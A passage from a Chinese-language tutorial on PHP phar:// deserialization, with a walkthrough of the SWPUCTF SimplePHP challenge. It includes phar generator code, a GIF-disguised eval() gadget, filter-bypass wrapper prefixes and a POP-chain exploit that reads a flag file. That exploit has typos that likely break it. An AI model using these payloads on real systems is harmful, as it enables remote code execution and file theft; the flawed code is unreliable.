在文件上传的时候,抓取数据包,send to intruder模块,尝试大线程重放数据包:
开始爆破:
就这样通过时间竞争就可以实现反序列化rce。
phar伪协议触发php反序列化
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上提出利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
phar介绍和漏洞原理
phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被php访问并执行,与file://,php://等类似,也是一种流包装器。
phar文件有四部分构成:
1. a stub
识别phar拓展的标识,格式为:xxx<?php xxx; __HALT_COMPILER();?>,对应的函数 Phar::setStub。前期内容不限,但必须以 __HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据。
3. the file contents
被压缩文件的内容。
4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering—停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。
这里有两个关键点:
\1. 文件标识,必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制
\2. 反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。
meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。
构造有序列化的phar文件
本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的phar.readonly配置项配置为0或Off
PHP内置phar类,其中的一些方法如下:
//实例一个phar对象供后续操作 $phar = new Phar('joker.phar'); //开始缓冲Phar写操作 $phar->startBuffering() //设置stub $phar->setStub("<?php __HALT_COMPILER(); ?>"); //以字符串的形式添加一个文件到 phar 档案 $phar->addFromString('test.php','<?php echo 'this is test file';'); //把一个fileTophar目录下的文件归档到phar档案 $phar->buildFromDirectory('fileTophar') //该函数解压一个phar包,extractTo()提取phar文档内容 $phar->extractTo()
生成phar文件的代码如下:
phar.php
<?php//反序列化payload构造class TestObject {}@unlink("phar.phar");//实例一个phar对象供后续操作,后缀名必须为phar$phar = new Phar("phar.phar"); //开始缓冲对phar的写操作 $phar->startBuffering();//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾$phar->setStub("<?php __HALT_COMPILER(); ?>"); //将反序列化的对象放入该文件中$o = new TestObject();$o->data='i am bmjoker';//将自定义的归档元数据meta-data存入manifest$phar->setMetadata($o);//phar本质上是个压缩包,所以要添加压缩的文件和文件内容$phar->addFromString("test.txt", "bmjoker"); //停止缓冲对phar的写操作$phar->stopBuffering(); ?>
运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开
可以明显的看到meta-data是以序列化的形式存储的,有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
*受影响的文件操作函数列表* | ** ** | ||||
---|---|---|---|---|---|
fileatime | filectime | file_exists | file_get_contents | touch | get_meta_tags |
file_put_contents | file | filegroup | fopen | hash_file | get_headers |
fileinode | filemtime | fileowner | fileperms | md5_file | getimagesize |
is_dir | is_executable | is_file | is_link | sha1_file | getimagesizefromstring |
is_readable | is_writable | is_writeable | parse_ini_file | hash_update_file | imageloadfont |
copy | unlink | stat | readfile | hash_hmac_file | exif_imagetype |
这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once
对刚才生成的phar使用文件操作函数实现反序列化读取:
<?phpclass TestObject{function __destruct(){echo $this->data;}}$filename = "phar://phar.phar/test.txt";file_get_contents($filename); ?>
成功对meta-data里面的数据进行反序列化输出。
将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?phpclass TestObject {}@unlink("phar.phar");$phar = new Phar("phar.phar");$phar->startBuffering();//设置stub,增加gif文件头$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new TestObject();$o->data = 'i am bmjoker';//将自定义meta-data存入manifest$phar->setMetadata($o); //添加要压缩的文件$phar->addFromString("test.txt", "test"); //签名自动计算$phar->stopBuffering(); ?>
运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开
采用这种方法可以绕过一些通过校验文件头的上传点。
来个小demo:
upload_file.php:
<?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {echo "Upload: " . $_FILES["file"]["name"];echo "Type: " . $_FILES["file"]["type"];echo "Temp file: " . $_FILES["file"]["tmp_name"];if (file_exists("upload_file/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " already exists. ";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];} } else{echo "Invalid file,you can only upload gif"; } ?>
upload_file.html
<body> <form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" name="Upload" /> </form> </body>
file_un.php
<?php $filename=$_GET['filename']; class AnyClass{var $output = 'echo "ok";';function __destruct(){eval($this -> output);} } file_exists($filename); // 漏洞点 ?>
upload_file.php对上传文件的类型,后缀进行了判断,限制为GIF文件。而file_un.php文件主要使用file_exists()判断文件是否存在,并且存在魔术方法__destruct()。大概思路为首先根据file_un.php写一个生成phar的php文件,当然需要绕过为gif的限制,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码。
构造payload代码eval.php:
<?php class AnyClass{var $output = 'echo "ok";';function __destruct(){eval($this -> output);} } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif
访问file_upload.html将gif文件上传:
利用file_un.php使用phar协议来反序列化rce:
?filename=phar://upload_file/phar.gif
漏洞利用条件
\1. phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists(),fopen(),file_get_contents(),include()等文件操作的函数
\2. 要有可用的魔术方法作为"跳板";
\3. 文件操作函数的参数可控,且:,/,phar等特殊字符没有被过滤。
虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作。
在禁止phar开头的情况下的替代方法:
compress.zlib://phar://phar.phar/test.txtcompress.bzip2://phar://phar.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
虽然会报warning,但是还是会执行。
CTF实战
这里取SWPUCTF中的一道利用phar伪协议触发反序列化的例子,题目地址:[BUUCTF在线评测SWPUCTF%202018]SimplePHP
点击" 查看文件 ",发现了标志性的文件包含语句" file.php?file= "
通过文件包含可以读取file.php,function.php,class.php,base.php文件的源码
file.php
<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
function.php
<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
class.php
<?php class C1e4r {public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;} }class Show {public $source;public $str;public function __construct($file){$this->source = $file; //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}} } class Test {public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;} } ?>
base.php
<?php session_start(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> </body> </html> <!--flag is in f1ag.php-->
通读以上代码,来这个提取有用的信息:
1. base.php,用于前端展示的html代码。
2. function.php,处理上传的文件,对文件的后缀做了白名单限制,只允许gif,jpeg,jpg,png这几种后缀。上传文件的命名方式为 md5($FILES"file".$SERVER["REMOTE_ADDR"]).".jpg";,并且保存在/upload目录下。
3. class.php,看到这个文件内容很明显使用反序列化来构造文件读取
结合上图中只对http,https,file:,gopher,dict协议的过滤,并且上面还提醒:$this->source = phar://phar.jpg,很明显是使用phar伪协议触发反序列化。
通读代码,发现漏洞点在于可以通过调用Test类中的file_get_contents()方法造成任意文件读取。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链:
\1. Test类中file_get()方法被同类下的get()方法调用,并传入$value参数。这里有一个if判断,判断$this->params[$key]是否存在,如果存在,这个$this->params[$key]就会被传递到file_get_contents()方法进行读取。继续往上看,发现构造函数contruct()给参数$param赋值了一个数组,魔术方法get()调用get()方法,并传入参数$key,而__get()方法在读取不可访问的属性的值时会被调用,寻找可以触发的地方。其实调用链为:
Test::file_get_contents() <-- Test::get()
\2. 在Show类的魔术方法toString()看到存在$this->str['str']->source,如果$this->str['str']为Test类的一个实例,那么就会访问不存在的source变量,这里就可以触发get()方法
$this->str['str'] = new Test()
\3. 下一步就要寻找可以触发Show类中toString()方法的地方,最后在C1e4r类中析构函数destruct()内发现了echo方法,如果$this->test是Show类顶得一个实例化对象,当使用echo就会把这个对象当作字符串调用,就可以触发魔术方法__toString()
$this->test = new Show()
最后的调用链为:
file_get_contents() <-- Test::get() <-- Test::__get() <-- Show::toString() <-- C1e4r::__destruct()
*3. file.php*,从前端接收file参数,判断文件是否存在在/var/www/html/下,但是文件中没有unserialize()反序列化口,因为文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,这里正好使用file_exists()对用户提交的参数进行解析,如果我们构造phar://解析phar文件,就可以反序列化payload,造成任意文件读取。
构造exp:
<?php class C1e4r {public $test;public $str; } class Show {public $source;public $str; } class Test {public $file;public $params; } $clear = new C1e4r(); $show = new Show(); $test = new Test(); $test->parms['source'] ="/var/www/html/f1ag.php"; $clear->str = $show; //利用$this->test = $this->str;echo $this->test; $show->str['str'] = $test; //利用$this->str['str']->source;$phar = new Phar("oupeng.phar"); //.phar文件 $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($clear); //触发的头是C1e4r类,所以传入C1e4r对象 $phar->addFromString("test.txt", "test"); //生成签名 $phar->stopBuffering();?>
在本地环境中生成phar文件:
本题没有对upload/目录做处理可以直接访问,由于对上传文件的后缀有检测,需要改为gif后缀,上传获取文件名
回到file.php页面,使用phar://伪协议解析上传的phar伪造的文件:
/file.php?file=phar://upload/46641c37ef2c8d2bd68ab582fdb25732.jpg
得到base64加密内容